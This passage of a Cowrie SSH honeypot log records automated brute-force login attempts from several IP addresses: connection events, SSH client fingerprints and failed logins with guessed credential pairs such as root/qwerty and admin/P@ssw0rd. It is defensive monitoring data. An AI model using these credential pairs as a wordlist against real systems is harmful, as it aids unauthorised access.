fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:27.986945Z","src_ip":"45.156.87.253","session":"c738e6847944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:35.901900Z","src_ip":"45.156.87.253","session":"c738e6847944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":47378,"dst_ip":"10.17.0.5","dst_port":22,"session":"6820bd625982","protocol":"ssh","message":"New connection: 91.92.40.11:47378 (10.17.0.5:22) [session: 6820bd625982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:37.857540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:37.979889Z","src_ip":"91.92.40.11","session":"6820bd625982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:37.984970Z","src_ip":"91.92.40.11","session":"6820bd625982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:38.824188Z","src_ip":"91.92.40.11","session":"6820bd625982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:40.074151Z","src_ip":"91.92.40.11","session":"6820bd625982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":47576,"dst_ip":"159.203.135.109","dst_port":22,"session":"306f17358128","protocol":"ssh","message":"New connection: 178.128.39.166:47576 (159.203.135.109:22) [session: 306f17358128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:14.959076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:14.974755Z","src_ip":"178.128.39.166","session":"306f17358128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:15.091720Z","src_ip":"178.128.39.166","session":"306f17358128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:15.828093Z","src_ip":"178.128.39.166","session":"306f17358128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:17.015170Z","src_ip":"178.128.39.166","session":"306f17358128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":44674,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e74e094a4dd","protocol":"ssh","message":"New connection: 162.241.132.172:44674 (10.17.0.5:22) [session: 5e74e094a4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:19.829423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:19.833413Z","src_ip":"162.241.132.172","session":"5e74e094a4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:19.860355Z","src_ip":"162.241.132.172","session":"5e74e094a4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XMR$Tr0ng@P@ss","message":"login attempt [root/XMR$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:19.934980Z","src_ip":"162.241.132.172","session":"5e74e094a4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:20.962695Z","src_ip":"162.241.132.172","session":"5e74e094a4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":34614,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d6af66ea30e","protocol":"ssh","message":"New connection: 91.92.40.11:34614 (10.17.0.5:22) [session: 8d6af66ea30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:28.911377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:29.082368Z","src_ip":"91.92.40.11","session":"8d6af66ea30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:29.085274Z","src_ip":"91.92.40.11","session":"8d6af66ea30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"access","message":"login attempt [admin/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:30.311709Z","src_ip":"91.92.40.11","session":"8d6af66ea30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:31.638232Z","src_ip":"91.92.40.11","session":"8d6af66ea30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43156,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed08301e8a58","protocol":"ssh","message":"New connection: 45.156.87.253:43156 (10.17.0.5:22) [session: ed08301e8a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:37.165742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:37.169403Z","src_ip":"45.156.87.253","session":"ed08301e8a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:37.249347Z","src_ip":"45.156.87.253","session":"ed08301e8a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:37.490800Z","src_ip":"45.156.87.253","session":"ed08301e8a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:38.573564Z","src_ip":"45.156.87.253","session":"ed08301e8a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41822,"dst_ip":"10.17.0.5","dst_port":22,"session":"3967133017cc","protocol":"ssh","message":"New connection: 45.156.87.253:41822 (10.17.0.5:22) [session: 3967133017cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:40.808903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:40.812355Z","src_ip":"45.156.87.253","session":"3967133017cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:40.892398Z","src_ip":"45.156.87.253","session":"3967133017cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:41.255742Z","src_ip":"45.156.87.253","session":"3967133017cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:42.394458Z","src_ip":"45.156.87.253","session":"3967133017cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41826,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a22b84c5dfc","protocol":"ssh","message":"New connection: 45.156.87.253:41826 (10.17.0.5:22) [session: 5a22b84c5dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:44.244969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:44.248558Z","src_ip":"45.156.87.253","session":"5a22b84c5dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:44.329016Z","src_ip":"45.156.87.253","session":"5a22b84c5dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:44.571841Z","src_ip":"45.156.87.253","session":"5a22b84c5dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:45.655375Z","src_ip":"45.156.87.253","session":"5a22b84c5dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41836,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca17761cdcbb","protocol":"ssh","message":"New connection: 45.156.87.253:41836 (10.17.0.5:22) [session: ca17761cdcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:47.667604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:47.672997Z","src_ip":"45.156.87.253","session":"ca17761cdcbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:47.754155Z","src_ip":"45.156.87.253","session":"ca17761cdcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:48.022462Z","src_ip":"45.156.87.253","session":"ca17761cdcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:49.107671Z","src_ip":"45.156.87.253","session":"ca17761cdcbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56780,"dst_ip":"10.17.0.5","dst_port":22,"session":"966008127390","protocol":"ssh","message":"New connection: 45.156.87.253:56780 (10.17.0.5:22) [session: 966008127390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.237728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:49:51.241687Z","src_ip":"45.156.87.253","session":"966008127390","protocol":"ssh"}
